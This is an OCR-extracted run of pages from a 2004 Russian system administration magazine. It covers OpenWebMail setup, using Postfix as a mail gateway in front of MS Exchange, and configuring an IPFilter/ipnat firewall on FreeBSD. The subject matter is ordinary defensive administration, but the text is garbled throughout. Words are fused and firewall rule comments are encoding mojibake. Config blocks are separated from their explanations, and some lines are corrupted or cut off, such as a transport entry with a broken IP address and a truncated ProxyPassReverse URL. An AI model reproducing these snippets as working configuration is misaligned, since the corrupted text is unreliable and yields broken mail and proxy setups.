В последнем случае, не забудьте, что эта ссылка со-храняется в «истории» вашего браузера.

По умолчанию вы попадаете в папку «Входящие». Вверхней строке последовательно расположены двенад-цать иконок: создание нового сообщения, просмотр и со-здание иерархии папок, настройка фильтров, получениепочты, поиск, обновление экрана, переход в органайзер,запуск SSH-терминала, настройки и выход. Под панельюс иконками расположена строка с напоминаниями о зап-ланированных событиях. Под ней – элементы интерфей-са, позволяющие изменять сортировку, копировать и пе-ремещать файлы, а также форма поиска.

Интерфейс программы достаточно простой и интуитив-но понятный, так что я не вижу смысла его подробно опи-сывать. Более наглядное представление о нем вы можетеполучить на приведенных в журнале рисунках. «В дей-ствии» вы можете ознакомиться с работающим серверомпо адресу: http://www.postman.net.

mailspooldir '/var/spool/mail'ow_htmldir '/var/www/html/openwebmail'ow_cgidir '/var/www/cgi-bin/openwebmail'

/var/www/cgi-bin/openwebmail/openwebmail-tool.pl �init

http://<ñåðâåð>/cgi-bin/openwebmail/openwebmail.pl

http://<ñåðâåð>/cgi-bin/openwebmail/openwebmail.pl? ↵↵↵↵↵loginname=USER&password=PASS

Page 36: 018 Системный Администратор 05 2004

34

администрирование

POSTFIX КАК ШЛЮЗ ДЛЯ EXCHANGE

ИГОРЬ ПОЛЯНСКИЙ

Предположим, вы системный администратор и вам предстоит организовать функционированиепочтовой системы для вашего предприятия. Возможно, это тот случай, когда вашему предприятиюнецелесообразно пользоваться почтовыми ящиками, предоставленными провайдером и нуженсвой почтовый сервер, более того, вы хотите сами встать у «руля» (ведь есть также возможностьорганизовать свой почтовый сервер, но при этом все равно пользоваться почтовым серверомпровайдера, т.е. забирать почту для своего домена из почтовой очереди или pop3 ящикана сервере провайдера).

Page 37: 018 Системный Администратор 05 2004

35№5(18), май 2004

администрирование

Здесь мы рассмотрим достаточно распространённый слу-чай, когда у вас есть выделенный канал с одним IP-ад-ресом и MX-запись для вашего домена(ов) указывает наэтот IP.

Для вас выбор программного обеспечения почтовогосервера ясен или, может быть, его сделали другие, ноэто MS Exchange.

Вы начинаете думать, и в зависимости от наличияопыта, от того, что посоветовали друзья, и какие данныеудалось самому найти в сети, у вас появится нескольковариантов.

Итак, наиболее распространенные:Вы ставите Windows-машину в качестве шлюза и на

нее нахлобучиваете Exchange. Понятное дело, Exchangeна другой ОС не работает, а почту как-то надо получать.Прокопавшись несколько часов, ведь так и будет, пото-му что настройка Exchange вещь не тривиальная и уста-новка Windows проходит как-то не шустро, закончилипервый этап. Почта ходит, да и шлюз вроде справляетсяс нагрузкой и почти не глючит. Довольные собой идетедомой с застывшей улыбкой на губах. На самом делеэто не улыбка, просто вы погружены в свои мысли о ве-ликих свершениях и не замечаете окружающих, ведьзавтра многое предстоит сделать, что-то надо думать сзащитой шлюза, да и почту без антивирусной защитыоставлять нельзя, плюс ко всему надо успеть завтра ска-чать и установить многотонные сервис паки, апдейты,патчи и много всего прочего.

Проходит неделя, другая, постепенно налаживаетсядокументооборот, совместная работа офиса на базеExchange, ведь, я надеюсь, Exchange в вашей конторене только ради почты, впрочем, такой вариант тоже час-то встречается. Но что-то все-таки не ладится. То маши-на в какой-то стопор падает, а то начинаете ковырятьнастройки, никоим образом не относящиеся к почте, а врезультате именно она перестает работать. Да и регу-лярно обнаруживаемые в Windows критические уязви-мости надежд на спокойную жизнь не приносят. В об-щем, приходится постоянно быть начеку, чтобы вовремяперегрузить сервер и на вопрос: «Вася, а что у нас с по-чтой?» нетерпеливо глядя то на индикатор hdd led, то на«Windows is now restarting», цедить: «Сейчас всё будетработать.»

Пройдёт еще некоторое количество времени, и к вампридёт мысль о том, что надо разделить функции шлюзаи Exchange-сервера, тем более что информация на сер-вере ценная и хочется её сохранить. Уже узнали, что мож-но спрятать сервер Exchange за шлюзом в приватнойсети, но чтобы почта все-таки ходила и c сервером мож-но было соединиться извне, используя реальный адресшлюза. Вы опять полны идей и вас слегка лихорадит.Итак, решено, Exchange – внутрь, соединения на 25-йпорт с шлюза перенаправляем на внутренний компью-тер... а что у нас, пардон, на шлюзе-то осталось?

Вот тут наступает момент истины, и от вас зависит,сделаете ли вы правильный выбор или нет. Если до это-го вы имели дело с UNIX-подобными ОС, то выбор оче-виден – ставите свою любимую ОС в качестве шлюза ивсе дальше, как в песне. Если вы поклонник Windows или

просто не приходилось работать с другими системами,то первым порывом будет взгромоздить на шлюзWindows. Плюсом такого решения является большойвыбор программ, как правило, большинство из них ком-мерческие. Ну а о минусах такого подхода к безопаснос-ти, я думаю, вы и сами осведомлены, иначе не стали быпереносить Exchange внутрь защищенной сети. Насталовремя попробовать UNIX, возможности которого для по-добного рода задач скорее всего перекроют ваши потреб-ности, а из преимуществ можно перечислить как мини-мум следующие:! Бесплатность самой ОС (это относится, конечно, не ко

всем, но выбор достаточен).! Невысокие требования к конфигурации компьютера.! Отличная переносимость высоких нагрузок, не говоря

уже о стабильности ОС как таковой.! Развитые сетевые возможности и средства.! Языки программирования и компиляторы поставля-

ются с ОС. Одного shell плюс набор стандартных ути-лит достаточно, чтобы вы забыли о поисках необхо-димой «программулины» для решения администра-тивных задач.

! Отсутствие огромного количества вирусов, как дляWindows (вообще такое впечатление, что их нет).

! Всё, что необходимо, есть в составе ОС или может бытьустановлено бесплатно. Её можно накрутить допол-нительным функционалом, практически неограничен-ным, при этом не потребуется ни денежных затрат наПО, ни обновления конфигурации компьютера.

Меня удивляют некоторые IT-специалисты, которыедаже не хотят или боятся делать это, приводя бессмыс-ленные аргументы. Проявив немного терпения и овла-дев приемами работы в UNIX, в дальнейшем, исходя изситуации, сможете сделать выбор, которого не будет уних.

Ну вот, Exchange убран внутрь, шлюз теперь постро-ен на операционной системе более подходящей для этойцели и кажется, что вы в безопасности. Но не торопи-тесь так думать, ведь Exchange как был доступен из Ин-тернета, так и остался. И при неправильной конфигура-ции он может стать сервером для спам-рассылок, источ-ником распространения вирусов и целью для атак. Впро-чем, целью для атак он может стать в любом случае, ведьатаковать нельзя только ту систему, которая выключе-на. Зайдите на любой сайт, который даёт обзоры по най-денным уязвимостям и посмотрите статистику. Вы мо-жете возразить, что применяете последние заплаты, новедь уязвимости всегда на шаг впереди и где гарантия,что вы успеете залатать дыры прежде, чем произойдетнеприятность.

Вот вывод команд, доступных по умолчанию в Exchange:

250-TURN 250-ATRN250-SIZE 250-ETRN250-PIPELINING 250-DSN250-ENHANCEDSTATUSCODES 250-8bitmime250-BINARYMIME 250-CHUNKING250-VRFY 250-X-EXPS GSSAPI NTLM LOGIN250-X-EXPS=LOGIN 250-AUTH GSSAPI NTLM LOGIN250-AUTH=LOGIN 250-X-LINK2STATE250-XEXCH50 250 OK

Page 38: 018 Системный Администратор 05 2004

36

администрирование

Сдаётся мне, что для сервера, общающегося с Ин-тернетом, половина этих команд не нужна, а некоторыеопасны, например, TURN. Смысл этой команды заклю-чается в том, что клиент и сервер меняются ролями ипочта для домена передается на хост клиента. Для иден-тификации используется доменное имя, полученное откоманды HELO. У злоумышленника появляется возмож-ность, подделав имя, заставить сервер отправить почтуна свой хост.

Отключить же ненужные команды, ползая по менюSystem Manager, вам вряд ли удастся.

Но не все так плохо, как кажется, и мы хотим предло-жить вам третий вариант. А что если Exchange сделатьвообще недоступным из Интернета? А как будет ходитьпочта, спросите вы. Да очень просто, мы установим нашлюз MTA Postfix и спрячем за ним Exchange, организо-вав их взаимодействие. Теперь для всего внешнего мирабудет доступен Postfix, на котором не будет никаких по-чтовых учетных записей, никаких почтовых ящиков.Postfix будет принимать почту, обрабатывать ее и пере-давать дальше Exchange. Естественно, такие вещи какспам, вирусы, попытки переслать почту для чужих доме-нов (релей) будут отсекаться еще на этапе соединения сPostfix. Исходящая почта также будет проходить черезPostfix. Плюс ко всему функции защиты от спама, виру-сов и т. д. можно дублировать на Exchange. Таким обра-зом, вы сможете создать достаточно надежную почто-вую систему, то есть:а) Нет возможности подобраться к Exchange напрямую

извне, а значит провести атаку или получить доступ квашим данным через дыры в другом ПО, например,через IIS, который требуется для установки Exchange.Атака же на Postfix грозит выходом из строя толькоPostfix, который не содержит ни пользовательскихбюджетов, ни важных данных. К тому же, насколькомне известно, за последние несколько лет в Postfixне обнаружено критических уязвимостей и скореевсего не будет найдено таких дыр, которые могут при-вести к катастрофе. Учитывая все вышесказанное,можно заключить, что риск потери данных из-за кра-ха Postfix равен нулю.

б) Исходя из пункта «а», ясно, что времени на восста-новление функционирования почты на шлюзе пона-добится меньше, чем системе Exchange, содержащейданные, я бы даже сказал много меньше, если учесть,что в некоторых случаях установка всей системы снуля, в нашем случае операционной системы и Postfix,единственно приемлемый выход. Все, что вам нуж-но, это сохранить несколько конфигурационных фай-лов и при установке новой системы перенести их об-ратно. А можно поступить еще проще – создать об-раз жесткого диска. В случае катастрофы нужно бу-дет просто заново записать образ на жесткий диск иобновить конфигурационные файлы. Таким образом,простой системы будет сведен к минимуму.

в) Во время восстановления шлюза циркуляция почтывнутри предприятия сохраняется. Да и достаточно по-менять несколько цифр, чтобы почта стала уходитьпо другому маршруту.

г) Настройка Postfix на порядок проще и даже исполь-зуя значения по умолчанию, он предлагает достаточ-ный уровень безопасности, чего не скажешь проExchange. Установите сперва Postfix на шлюз, а по-том разбирайтесь с настройками Exchange скольковам влезет, не опасаясь совершить те или иныеошибки, которые приведут к нежелательным послед-ствиям.

д) Наконец, обслуживание UNIX + Postfix требует кудаменьше затрат и душевных сил. Это для тех, кто мо-жет сказать, что эту схему можно организовать связ-кой Windows + Exchange, что и рекомендуется неко-торыми статьями и книгами про Exchange. Да и злыевирусо-трояно писатели как будто сговорились и пи-шут в основном для Windows.

Я хотел бы ещё вернуться к пункту «а», где говори-лось о возможности получить доступ к данным черездыры IIS. При чем тут IIS, скажете вы, когда кроме 25-гопорта на Exchange-сервере ничего не открыто. Здесьимелась в виду служба Outlook Web Access, которая вхо-дит в состав Exchange и позволяет посредством веб-ин-терфейса, похожего на Outlook, получить доступ к почто-вому ящику, расписаниям, общим документам. Это мо-жет быть удобно для мобильных пользователей. Если вамнужна эта служба, то придётся дать доступ к веб-серве-ру. Это можно сделать опять же средствами NAT, но тог-да все усилия, направленные на скрытие Exchange-сер-вера от внешнего мира, сходят на нет. На помощь мо-жет прийти Apache, сконфигурированный в режиме об-ратного прокси. Он может быть установлен на том жешлюзе или на другом компьютере. Если не хочется ста-вить Apache, можно попробовать программу Pound(http://www.apsis.ch/pound/), которая предназначена какраз для этих целей.

Если вам подходит этот вариант, то нужно сделатьсовсем немного, конечно, за исключением вышеописан-ного. Установка Exchange, Postfix и операционных сис-тем здесь не описывается. Естественно, для приданияPostfix дополнительной функциональности, такой какзащита почты от вирусов, smtp-аутентификация, вам по-требуется установить дополнительный софт, например:drweb для защиты от вирусов, для smtp-аутентификацииpostfix использует sasl. Функции защиты от спама и бло-кировку нежелательной как почты, так и почтальонов,можно осуществить встроенными средствами Postfix. Наэти темы есть достаточно документации.

Итак, у вас Postfix на шлюзе. Exchange в локальнойсети. И хотя в контексте данной статьи слово «шлюз» при-меняется к компьютеру, одним интерфейсом смотрящимв Интернет, другим в локальную сеть, на практике это мо-жет быть специально выделенная машина с одним интер-фейсом, например в сети, где все адреса реальные, а фун-кции брандмауэра выполняет другой компьютер или ап-паратный брандмауэр, который пропускает почтовый тра-фик только снаружи к шлюзу и в обратном направлении.

Начнем с Postfix. Не забыли, что MX-запись в DNSуказывает на него. Повторяю еще раз, что мы описыва-ем взаимодействие Postfix и Exchange, и если вы не ви-

Page 39: 018 Системный Администратор 05 2004

37№5(18), май 2004

администрирование

дите здесь строчек, касающихся smtp-аутентификацииили еще чего-либо, то это не значит, что этого не должнобыть в конфигурации вашего сервера.

Открываем для редактирования файл main.cf.Имя вашей машины:

Имя вашего домена:

Ваши доверенные сети:

или вместо всей сети 192.168.100.0 можно указать толь-ко адрес Exchange, к примеру:

Таким образом, вы запрещаете внутренним клиентамиспользование Postfix в обход Exchange.

Локальные получатели, оставить значение пустым,так как их на этой машине попросту нет:

Если мы должны считать своими несколько доменов,то их можно перечислить здесь:

Указываем, в каком файле у нас будет описан марш-рут до Exchange:

В файле transport мы описываем, на какой компью-тер будет пересылаться почта для наших доменов:

Скобки нужны, чтобы Postfix не пытался проверять че-рез DNS соответствие имени IP-адресу Exchange. Впро-

чем, с таким же успехом вместо адреса можно указатьдоменное имя Exchange без скобок.

После сохранения файлов main.cf и transport даем ко-манду:

которая при первом вызове создаст файл transport.db, ав дальнейшем будет обновлять этот файл, учитывая из-менения в файле transport.

Далее даем команду:

которая перезапустит Postfix с учетом изменений в фай-ле main.cf.

С Postfix закончили, переходим к Exchange. Exchangeдолжен быть настроен на обработку почты для наших доме-нов. Открываем System Manager, переходим к Connectors, ивыбираем New →→→→→ SMTP Connector.

На вкладке General указываем, что наружу почта дол-жна переправляться через адрес Postfix в квадратныхскобках. На вкладке Address Space щелкаем добавитьAddress type – SMTP. Сохраняем настройки и перегру-жаем Exchange.

Настройка Apache в качестве обратного прокси можетбыть темой для отдельной статьи. Приведу лишь простей-ший пример для доступа к OWA на основе Apache 2.x.

В файле httpd.conf раскомментируем строчки:

Далее добавим следующие строчки:

Где 192.168.100.20, как вы наверное уже догадались,наш Exchange-сервер. Теперь удаленный пользователь,набирая в браузере http://адрес_шлюза/exchange, полу-чает доступ к Outlook Web Access.

Вот, собственно, и все. И хотя здесь представленапростая схема, она с успехом может применяться в бо-лее сложных сетях, когда есть несколько почтовых сер-веров, которые обслуживают несколько доменов, и необязательно это должны быть Exchange-сервера.

myhostname = host.domain.ru

mydomain = domain.ru

mynetworks = 127.0.0.0/8, 192.168.100.0/24

mynetworks = 127.0.0.0/8, 192.168.100.20

local_recipient_maps =

mydestination = $myhostname, localhost.$mydomain, ↵↵↵↵↵$mydomain, domain2.ru, domain3.ru

transport_maps = hash:/usr/local/etc/postfix/transport

domain.ru smtp:[192.168.100.20]domain2.ru smtp:[192.168.100.20]domain3.ru smtp:[192.168.100�.]

LoadModule proxy_module libexec/apache2/mod_proxy.soLoadModule proxy_http_module libexec/apache2/mod_proxy_http.so

ProxyRequests OffProxyPass /exchange http://192.168.100.20/exchangeProxyPassReverse /exchange http://192.168.100.20/exchan

postmap transport

postfix reload

Page 40: 018 Системный Администратор 05 2004

38

администрирование

Для чего нужен пакетный фильтр? Это еще один инстру-мент для построения межсетевых экранов или, как еще ихназывают, firewall (в переводе с англ. – «огненная стена»),с помощью фильтрации трафика по заданным условиям.Способ защиты критически важных сегментов в точках вхо-да в публичные сети и трансляции IP-адресов из немарш-рутизируемых частных сетей в реальные IP-адреса.

В статье мы поговорим о том, как быстро настроить изапустить межсетевой экран с функциями трансляции ад-ресов с помощью IPFilter на сервере под управлением ОСFreeBSD. Почему IPFilter? Во-первых, гибок и не громоз-док. Является пакетным фильтром с функцией контролясоединений. Для серверов под большой нагрузкой это мо-жет стать критичным фактором при выборе программно-го обеспечения. Правила пишутся вполне понятным и по-чти привычным языком (последнее, правда, чисто субъек-

IPFilter С САМОГО НАЧАЛА

ТАТЬЯНА ИЛЬЧЕНКО

тивное мнение автора) – логическое построение правилинтуитивно понятно и хорошо воспринимается, что тоженемаловажно при их большом количестве. Присутствуюттакие удобные функции, как создание групп правил и ве-дение нескольких лог-файлов (в зависимости от того, чтохочется фиксировать и потом анализировать). Помимоэтого присутствует кросс-платформенность1. Поддержкареализована на уровне ядра операционной системы, впро-чем, как и у «традиционного» IPFW, существенных недо-статков которого, кроме отсутствия некоторых возможно-стей IPFilter, автор статьи на своем опыте использованиямежсетевых экранов не берется назвать.

На момент написания статьи текущая версия IPFilter v.4.1.Однако несмотря на заявление разработчиков о том, чтоона полностью протестирована в среде FreeBSD 4.9-RELEASE, установить её с ходу не удалось2, поэтому мы

Page 41: 018 Системный Администратор 05 2004

39№5(18), май 2004

администрирование

Руководствоваться для начала будем принципом «чтоне разрешено, то запрещено»7:

Если входящий/исходящий пакет подпадает под этиправила, мы прекращаем поиск соответствий. При этомфиксироваться в файле протокола прохождение такихпакетов через интерфейс lo0 не будет.

Обратим внимание, что все пакеты (запрещенные намивходящие соединения) не будут отбрасываться сразу, абудут передаваться дальше на проверку (отсутствует клю-чевое слово quick). Если соответствующего разрешенияне будет найдено, пакет будет блокирован в соответствиис этими правилами. А «incident will be reported»9, как гово-рится. Сразу за этими строчками мы начнем добавлятьправила в зависимости от уже продуманной к этому мо-менту (хорошо бы даже четко описанной «на бумаге») по-литики нашей «огненной стены». Для экономии временина обработке файла с правилами условимся прекращатьдальнейшее расcмотрение правил10 при подпадании па-кета под заданные условия. Заметим, что каждый сервиспотребует как минимум два правила: для входящих и дляисходящих пакетов на каждый используемый сервисомпорт. Также, памятуя о специфике каждого сервиса, бу-дем задавать управляющие флаги, не забывая обращать-ся к документации по протоколам и к IPFilter Based FirewallsHOWTO11.

FTPПредположим, у вас имеется FTP-сервер, к которому выхотите открыть публичный доступ. Как известно, в работепо протоколу FTP используется два порта – для передачикоманд и, собственно, для передачи данных. В нотациистека протоколов TCP/IP для протокола FTP использует-ся протокол транспортного уровня TCP. Соответственнодля этого сервиса правила будут выглядеть следующимобразом:

Директива flag означает, что фильтр будет отслежи-вать флаги в каждом пакете и, если нужно, сравнивать сзаданными флагами в правилах IPFilter. В данном случаемы будем отслеживать пакеты с установленным SYN – этотфлаг присутствует в пакетах при инициализации TCP-со-единения.

Здесь же мы впервые используем управляющий флагkeep state. Остановимся на нем поподробнее. Сами по

pass out quick on lo0 proto ip from 127.0.0.0/8 to 127.0.0.0/8pass in quick on lo0 proto ip from 127.0.0.0/8 to 127.0.0.0/8# Áëîêèðóåì âñå âõîäÿùèå IP-ñîåäèíåíèÿ íà lo0# èç ñåòè 127.0.0.0/88block in quick on lo0 proto ip from any to 127.0.0.0/8

# Áëîêèðóåì âñå âõîäÿùèå IP/TCP/UDP-ñîåäèíåíèÿ# íà âíåøíåì èíòåðôåéñåblock in log on fxp1 proto ip from any to anyblock in log on fxp1 proto tcp from any to anyblock in log on fxp1 proto udp from any to any

рассмотрим предыдущий релиз v3.4.31 (336), включенный,к слову, в ядро FreeBSD 4.9-RELEASE.

Все примеры даны в среде FreeBSD 4.9-RELEASE дляIPFilter этой версии, которая по умолчанию поддержива-ется ядром FreeBSD. Официальная страница IPFilter рас-положена по адресу: http://coombs.anu.edu.au/~avalon/ip-filter.html.

Итак, приступим к установке, конфигурированию изапуску3. Начнем, пожалуй, с того, как это работает и чтонам понадобится сделать до того, как мы задействуемIPFilter4. В качестве описания конфигурации пакетногофильтра используется обычный текстовый файл, каждаястрока которого описывает правило фильтрации. Строки,начинающиеся со знака «#», воспринимаются как коммен-тарии. Логическая структура правил IPFilter выглядит при-мерно следующим образом:

где:! <ACT> – действие, которое будет предпринято при обна-

ружении пакета, подпадающего под описываемое пра-вило (pass/block);

! [Res] – какой ответ отправить5 запрашивающей сто-роне (для блокируемых пакетов);

! <pTYP> – тип пакета (in/out);! [aLOG] – фиксировать ли в файле протокола описан-

ные пакеты (log);! [aKEY] – ключевое слово quick, означающее, что если

анализируемый пакет подпадает под данное правило,то дальнейший просмотр правил прекращается;

! <nDEV> – устройство, физический интерфейс, на ко-тором «искать» совпадение с правилом для пакетов;

! [fastroute] – ключевое слово, используемое для сокры-тия присутствия firewall как узла сети (пакет будет пере-правлен без изменения в TTL дальше по маршруту);

! <tPROT> – протокол (ip/udp/tcp);! <aSRC> – адрес-источник пакета;! <aDST> – адрес-приемник пакета;! [pDST] – порт, на который адресован пакет;! [FLAGS] – управляющие флаги;! [KW] – директивы (keywords).

В угловых скобках приведены обязательные парамет-ры/опции, а в квадратных соответственно те, наличие ко-торых определяется конкретными обстоятельствами и неявляется безоговорочно обязательным.

Вооружившись этим представлением, создадим файлконфигурации, описывающий довольно простой наборправил.

К примеру, нам требуется дать возможность удален-ным пользователям «снаружи» работать с FTP/HTTP(S)-сервисами6, а нашему почтовому серверу – обменивать-ся почтой с окружающим миром по SMTP. Кроме того, не-обходимо описать правила для нашего DNS-сервера. Вне-шний интерфейс fxp1 имеет адрес 213.27.10.хх и маску255.255.255.255, внутренняя сеть ограничена адреснымпространством 192.168.10.0 и маской 255.255.255.0, чтосоответствует описанию сети как 192.168.10.0/24.

pass out quick on fxp1 log proto tcp/udp from ↵↵↵↵↵213.27.10.xx/32 to any keep state

pass in quick on fxp1 log proto tcp from ↵↵↵↵↵any to 213.27.10.xx/32 port = 21 flags S keep state

<ACT> [Res] <pTYP> [aLOG] [aKEY] <nDEV> [fastroute] ↵↵↵↵↵<tPROT> <aSRC> <aDST> [pDST] [FLAGS][KW]

Page 42: 018 Системный Администратор 05 2004

40

администрирование

себе пакетные фильтры не умеют различать начало, се-редину или конец любой TCP/UDP/ICMP, а ориентиру-ются по установленному в пришедшем пакете FIN-фла-гу. Администратору же в данном случае остается толь-ко надеяться на то, что такие пакеты не будут FIN-ска-нированием. В IPFilter применена методика keepingstate12 для распознавания установленных сессий и от-личия их от действий злоумышленников. Разработчикиисходили из того, что раз любая TCP/IP-сессия прохо-дит в три этапа: старт (установка соединения), соеди-нение и разрыв соединения (все это может уместитьсяи в одном-единственном пакете) – при этом, в общемслучае (исключая злонамеренные действия), должныиметь место именно все три стадии. Если старт сессииразрешен правилами фильтра, то понятно, что после-дующие пакеты этой сессии (subsequent-пакеты) и еестоп-пакет тоже должны быть пропущены. Так же, какесли запрещено начало сессии, то и последующие па-кеты будут автоматически блокированы. Такой подходтакже позволяет избежать IP stack overflow – перепол-нения IP-стека. Более подробное описание можно най-ти в IPFilter Based Firewalls HOWTO, где помимо описа-ния работы IPFilter даны общие рекомендации по пост-роению межсетевого экрана.

Разобравшись с keep state, обратимся к следующемууправляющему флагу keep frags и рассмотрим его назна-чение. Дело в том, что использование keep state почти ре-шает проблему защиты от FIN-сканирования. А в задаченастройки фильтрации нет места «почти»-решениям. Флагkeep frags позволяет IPFilter отмечать и в дальнейшем от-слеживать фрагментированные пакеты, пропуская толь-ко ожидаемые фрагменты и отфильтровывая подложные.

HTTP(S)

Для данного сервиса нам потребуется описать толькоправило для входящих пакетов, ибо одно из последнихправил будет выглядеть следующим образом:

Это позволяет не описывать правила для исходящихпакетов от нашего веб-сервера (подразумевается, что веб-сервер не будет самостоятельно инициировать TCP-соеди-нения, а станет только отвечать на входящие запросы).

Эти правила дадут возможность пользователям илиприложениям использовать в работе протокол SecureHTTP.

Замечание. Следует помнить, что даже если все зап-росы на веб-ресурсы от пользователей в локальной сетипринудительно перенаправляются на порт вашего proxy-

сервера, для некоторых клиентских программ (в частно-сти, использующих метод CONNECT) – таких как, напри-мер, binkd или ICQ – может понадобиться разрешение дляадресов локальной сети на работу по соответствующимпортам через интерфейс, который будет «охраняться» на-шим межсетевым экраном, то есть в нашем случае – че-рез интерфейс fxp1.

SMTP

DNS

Здесь нам понадобятся 4 правила, так как описывае-мый сервис использует в работе на транспортном уровнеTCP и UDP, соответственно и правила фильтрации долж-ны это учитывать.

Рассмотрим теперь случай, когда нам необходимо про-пускать в оба направления трафик на компьютере в на-шей локальной сети, не назначая ему реального адреса.Подобная ситуация может возникнуть, если в вашей сетиесть, например, ПО систем «клиент-банк», установленноена машине одного из сотрудников. Часто такие системыне ориентированы на использование обычных proxy-сер-веров, и приходится администратору задействовать про-брос соединений прямо на бухгалтерскую машину.

В этом случае придется использовать не только пра-вила firewall, но и транслирование адресов в нотацииNPAT13 – применение ipnat описано чуть дальше. Итак, воткак будут выглядеть правила фильтрации трафика длятакой программы (предполагается, что 194.84.xx.xx – ад-рес сервера, куда надо подсоединяться клиентской про-грамме, 192.168.10.48 – адрес машины, где эта клиентс-кая программа установлена):

Завершим же описание правил следующим образом:

То есть, все пакеты, для которых не найдено ранее со-ответствующих правил, будут фильтроваться следующимобразом: безоговорочно пропускать все исходящие с на-шего реального адреса пакеты, остальные исходящие –также безоговорочно блокировать. Входящие пакеты бло-кированы у нас в начале описания правил, помните?

#httppass in log quick on fxp1 proto tcp from any ↵↵↵↵↵

to 213.27.10.xx/32 port = 80 flags S keep state keep frags

pass out log quick on fxp1 from 213.27.10.xx/32 to any

# httpspass out log quick on fxp1 proto tcp from ↵↵↵↵↵

213.27.10.xx/32 to any port = 443 keep state keep fragspass in log quick on fxp1 proto tcp from any ↵↵↵↵↵

to 213.27.10.xx/32 port = 443 keep state keep frags

pass out log quick on fxp1 proto tcp from ↵↵↵↵↵213.27.10.xx/32 to any port = 25 keep state keep frags

pass in log quick on fxp1 proto tcp from any ↵↵↵↵↵to 213.27.10.xx/32 port = 25 keep state keep frags

pass in log quick on fxp1 proto udp from ↵↵↵↵↵any to 213.27.10.xx/32 port = 53 keep frags

pass out log quick on fxp1 proto udp from ↵↵↵↵↵213.27.10.xx/32 to any port = 53 keep frags

pass in log quick on fxp1 proto tcp from ↵↵↵↵↵any to 213.27.10.xx/32 port = 53 keep state keep frags

pass out log quick on fxp1 proto tcp from ↵↵↵↵↵213.27.10.xx/32 to any port = 53 keep state keep frags

pass out log quick on fxp1 proto tcp from 192.168.10.48/32 ↵↵↵↵↵to 194.84.xx.xx/32 port = 1352 keep state keep frags

pass in log quick on fxp1 proto tcp from 194.84.xx.xx/32 ↵↵↵↵↵to 192.168.10.48/32 port = 1352 keep state keep frags

pass out log quick on fxp1 from 213.27.10.xx/32 to anyblock out log quick on fxp1 from any to any

Page 43: 018 Системный Администратор 05 2004

41№5(18), май 2004

администрирование

Замечание. Внимательно следите за тем, чтобы пра-вила не повторялись, иначе при запуске фильтр сообщитоб ошибке:

Первая цифра – это номер строки, где возникла ошиб-ка, далее следует ее краткое описание, поясняющее, чтоошибка возникла при попытке добавить/вставить прави-ло и заключается она в том, что такое правило уже суще-ствует и занесено в активный набор правил14.

После того как мы описали все правила и сохранили файлс ними, к примеру, с именем ipf.rules в /etc, позаботимся отом, чтобы наши пользователи, имеющие адреса из подсе-тей, зарезервированных под private networks – 192.168/16,172.16/12, 10/8 (такие подсети еще называют non-routeable –немаршрутизируемые15 или «серые»), – могли получить до-ступ к ресурсам Интернета через наш «firewall-интерфейс».Воспользуемся для этого входящим в состав IPFilter моду-лем ipnat. Создадим там же в /etc файл ipnat.rules16.

Тут же, если вам необходимо в силу обстоятельств ис-пользовать перенаправление по портам из внутреннейсети во внешнюю, нужно добавить примерно вот такиестроки (не забывая про вышеописанный случай с ПО «кли-ент-банк»). То есть, наш файл ipnat.rules будет выглядетьпримерно следующим образом:

Строки, начинающиеся с ключевого слова map, опи-сывают трансляцию адресов. Указываем интерфейс, IP-адрес, который нуждается в такой подмене, и маску дляэтого адреса, далее следуют адрес и маска, на которыебудет заменена соответствующая часть пакетов, выходя-щих с нашего сервера. У нас подобных правил будет два:трансляция всех «серых» IP-адресов нашей сети в «фаль-шивый» адрес 0/32 и IP-адреса, для которого мы будемиспользовать проброс соединений, в реальный IP-адреснашего межсетевого экрана. Строка со словом rdr описы-вает именно проброс соединений, о котором мы говориливыше, когда рассматривали ситуацию с ПО «клиент-банк»,не умеющем использовать прокси-сервер.

После этого нам остается внести необходимые изме-нения в файл rc.conf17:

Теперь проверим права на файлы ipf.rules и ipnat.rules –они должны быть выставлены в 644, владелец root.

На этом подготовительный этап закончен, и мы пере-ходим непосредственно к запуску IPFilter.

В общем случае, от вас даже не потребуется ничегосложного, поскольку IPFilter в системе уже есть18, и надотолько «включить» его, что мы сейчас и рассмотрим под-робнее.

Вам потребуется добавить в конфигурационный файлядра системы (как правило, он располагается в /usr/src/sys/i386/conf/) следующие опции19:

Кроме этого, надо увеличить количество псевдо-уст-ройств bpf (Berkley Packet Filter), используемых для ана-лиза и фильтрации пакетов. Выбор конкретного значениянапрямую зависит от того, сколько у вас будет использо-ваться интерфейсов для фильтрации.

Замечание. Этот параметр в ядре ОС определяетсяне только количеством физических устройств, но и коли-чеством процессов, которые будут обращаться к этим ус-тройствам в процессе своей работы – tcpdump, nessus etc.

В нашем случае один сетевой интерфейс использует-ся IPFilter и добавим еще три bpf-устройства на случайбольшой загруженности и если нам понадобятся в даль-нейшем утилиты вроде tcpdump.

После сделанных изменений в конфигурации ядра пе-ресобираем его (подробно о конфигурировании и ком-пиляции ядра FreeBSD можно посмотреть тут: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/kernelconfig.html).

Перезагрузимся (это потребуется из-за пересборкиядра системы, так как «на лету» заменить одно ядро дру-гим нельзя) и теперь мы можем проверить функциониро-вание нашего межсетевого фильтра. Для этого можно вос-пользоваться, например, широко извеcтной утилитой nmap(http://www.insecure.org/nmap/) или любым сканером безо-пасности: X-Spider, Nessuss и прочие.

Еще один немаловажный момент: тестировать скани-рованием межсетевой экран рациональнее с другого ком-пьютера (если вы экспериментируете с IP-адресом, дос-тупным из внешнего мира, то и неплохо иметь возмож-ность просканировать его снаружи) – поскольку получен-ный результат будет более точно отражать положение ве-щей. Да и в реальной жизни скорее всего проверять напрочность межсетевой экран будут снаружи. Однако немешает проверить его и изнутри вашей сети, посколькупо статистике около 80% всех инцидентов в сфере инфор-мационной безопасности происходит по вине собственныхсотрудников компании20.

Вот как выглядит, к примеру, результат команды nmap,направленной на наш «учебный» межсетевой экран с дру-гого компьютера и из другой подсети:

map fxp1 192.168.10.0/16 -> 0/32map fxp1 192.168.10.48/32 -> 213.27.10.xx/32rdr fxp1 213.27.10.xx/32 port 1352 -> 192.168.10.48 port 1352

